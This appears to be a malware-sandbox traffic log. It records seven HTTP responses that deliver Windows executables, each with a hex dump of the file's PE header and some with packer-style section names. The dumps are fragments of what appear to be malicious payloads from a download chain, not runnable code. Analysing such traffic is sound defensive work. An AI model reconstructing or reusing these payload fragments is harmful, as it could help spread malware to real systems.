Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 14:57:11 GMTContent-Type: application/octet-streamContent-Length: 3286016Last-Modified: Wed, 18 Dec 2024 13:43:08 GMTConnection: keep-aliveETag: "6762d16c-322400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 88 cf 56 f4 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 50 00 00 c8 2f 00 00 5a 02 00 00 00 00 00 ce e6 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 32 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 80 e6 2f 00 4b 00 00 00 00 00 30 00 40 57 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 32 00 0c 00 00 00 33 e6 2f 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d4 c6 2f 00 00 20 00 00 00 c8 2f 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 40 57 02 00 00 00 30 00 00 58 02 00 00 ca 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 32 00 00 02 00 00 00 22 32 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 e6 2f 00 00 00 00 00 48 00 00 00 02 00 05 00 00 c2 01 00 40 1c 04 00 03 00 00 00 43 0d 00 06 40 de 05 00 7a 05 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 2b 05 28 42 0f 39 39 28 02 00 00 06 2a 00 00 3a 2b 05 28 f1 af 5e 41 00 28 21 0d 00 06 2a 00 12 00 00 00 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 13 30 03 00 92 00 00 00 01 00 00 11 28 2a 0c 00 06 38 79 00 00 00 fe 0c 00 00 45 03 00 00 00 63 00 00 00 4f 00 00 00 2f 00 00 00 38 5e 00 00 00 73 17 00 00 0a 80 04 00 00 04 20 01 00 00 00 17 3a d5 ff ff ff 26 38 cb ff ff ff 73 18 00 00 0a 80 03 00 00 04 38 d6 ff ff ff 73 19 00 00 0a 80 06 00 00 04 20 00 00 00 00 17 39 ab ff ff ff 26 20 00 00 00 00 38 a0 ff ff ff 73 1a 00 00 0a 80 05 00 00 04 20 02 00 00 00 38 8c ff ff ff 2a 73 1b 00 00 0a 80 02 00 00 04 38 ad ff ff ff 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 14:57:19 GMTContent-Type: application/octet-streamContent-Length: 2874880Last-Modified: Wed, 18 Dec 2024 14:25:29 GMTConnection: keep-aliveETag: "6762db59-2bde00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 10 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 4f 00 00 04 00 00 89 96 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 65 70 64 6c 78 64 72 6d 00 40 2a 00 00 c0 24 00 00 3c 2a 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 73 6a 74 7a 62 68 6c 00 10 00 00 00 00 4f 00 00 04 00 00 00 b8 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 4f 00 00 22 00 00 00 bc 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 14:57:22 GMTContent-Type: application/octet-streamContent-Length: 2037760Last-Modified: Wed, 18 Dec 2024 13:58:19 GMTConnection: keep-aliveETag: "6762d4fb-1f1800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cd d8 9a 7a 89 b9 f4 29 89 b9 f4 29 89 b9 f4 29 c2 c1 f7 28 82 b9 f4 29 c2 c1 f1 28 06 b9 f4 29 c2 c1 f0 28 9d b9 f4 29 9c c6 f1 28 af b9 f4 29 9c c6 f0 28 98 b9 f4 29 9c c6 f7 28 9d b9 f4 29 c2 c1 f5 28 8a b9 f4 29 89 b9 f5 29 da b9 f4 29 89 b9 f4 29 8b b9 f4 29 b3 39 f0 28 8a b9 f4 29 b3 39 0b 29 88 b9 f4 29 b3 39 f6 28 88 b9 f4 29 52 69 63 68 89 b9 f4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 5f 7b 5f 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 25 00 7c 03 00 00 5e 03 00 00 00 01 00 00 60 4d 00 00 10 00 00 00 90 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 4d 00 00 04 00 00 aa 4d 1f 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 56 e0 07 00 6a 00 00 00 00 c0 07 00 6c 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 e1 07 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 07 00 00 10 00 00 00 3c 04 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 6c 16 00 00 00 c0 07 00 00 08 00 00 00 4c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 e0 07 00 00 02 00 00 00 54 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 2a 00 00 f0 07 00 00 02 00 00 00 56 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 63 61 65 6e 70 7a 71 00 a0 1a 00 00 b0 32 00 00 9a 1a 00 00 58 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 63 73 72 61 78 76 75 00 10 00 00 00 50 4d 00 00 04 00 00 00 f2 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 4d 00 00 22 00 00 00 f6 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 14:57:31 GMTContent-Type: application/octet-streamContent-Length: 765568Last-Modified: Tue, 17 Dec 2024 09:46:16 GMTConnection: keep-aliveETag: "67614868-bae80"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 0b 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 80 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 02 00 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9c a8 01 00 00 10 00 00 00 aa 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 24 8b 00 00 00 c0 01 00 00 8c 00 00 00 b2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 22 00 00 00 50 02 00 00 16 00 00 00 3e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 53 00 00 00 00 53 00 00 00 00 80 02 00 00 02 00 00 00 54 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 6c 73 00 00 00 00 09 00 00 00 00 90 02 00 00 02 00 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 00 00 00 00 a0 02 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 40 19 00 00 00 b0 02 00 00 1a 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 86 04 00 00 d0 02 00 00 86 04 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 86 04 00 00 60 07 00 00 86 04 00 00 fa 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 14:57:38 GMTContent-Type: application/octet-streamContent-Length: 776832Last-Modified: Tue, 17 Dec 2024 09:45:14 GMTConnection: keep-aliveETag: "6761482a-bda80"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 02 00 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9c a8 01 00 00 10 00 00 00 aa 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 24 8b 00 00 00 c0 01 00 00 8c 00 00 00 b2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 22 00 00 00 50 02 00 00 16 00 00 00 3e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 53 00 00 00 00 53 00 00 00 00 80 02 00 00 02 00 00 00 54 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 6c 73 00 00 00 00 09 00 00 00 00 90 02 00 00 02 00 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 00 00 00 00 a0 02 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 40 19 00 00 00 b0 02 00 00 1a 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 9c 04 00 00 d0 02 00 00 9c 04 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 9c 04 00 00 70 07 00 00 9c 04 00 00 10 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 14:57:44 GMTContent-Type: application/octet-streamContent-Length: 1809920Last-Modified: Wed, 18 Dec 2024 14:23:53 GMTConnection: keep-aliveETag: "6762daf9-1b9e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 48 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 48 00 00 04 00 00 92 28 1c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 04 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 36 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2c 00 00 a0 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 78 74 67 6c 71 7a 6c 00 40 1b 00 00 c0 2c 00 00 3e 1b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 76 6d 6c 6d 71 6a 72 00 20 00 00 00 00 48 00 00 04 00 00 00 78 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 48 00 00 22 00 00 00 7c 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 14:57:45 GMTContent-Type: application/octet-streamContent-Length: 18409472Last-Modified: Wed, 18 Dec 2024 14:55:39 GMTConnection: keep-aliveETag: "6762e26b-118e800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 7d df 62 67 00 00 00 00 00 00 00 00 e0 00 2e 03 0b 01 02 2b 00 a8 02 00 00 e4 18 01 00 02 00 00 d0 13 00 00 00 10 00 00 00 c0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 60 19 01 00 04 00 00 4a b1 19 01 02 00 40 01 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 e0 18 01 ac 11 00 00 00 20 19 01 3f 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 19 01 bc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 10 18 01 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 e3 18 01 50 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 78 a6 02 00 00 10 00 00 00 a8 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 64 61 74 61 00 00 00 54 00 00 00 00 c0 02 00 00 02 00 00 00 ac 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 64 61 74 61 00 00 4c 43 15 01 00 d0 02 00 00 44 15 01 00 ae 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 65 68 5f 66 72 61 6d b8 ac 00 00 00 20 18 01 00 ae 00 00 00 f2 17 01 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 62 73 73 00 00 00 00 00 02 00 00 00 d0 18 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 69 64 61 74 61 00 00 ac 11 00 00 00 e0 18 01 00 12 00 00 00 a0 18 01 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 43 52 54 00 00 00 00 38 00 00 00 00 00 19 01 00 02 00 00 00 b2 18 01 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 08 00 00 00 00 10 19 01 00 02 00 00 00 b4 18 01 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 3f 16 00 00 00 20 19 01 00 18 00 00 00 b6 18 01 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 bc 19 00 00 00 40 19 01 00 1a 00 00 00 ce 18 01 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
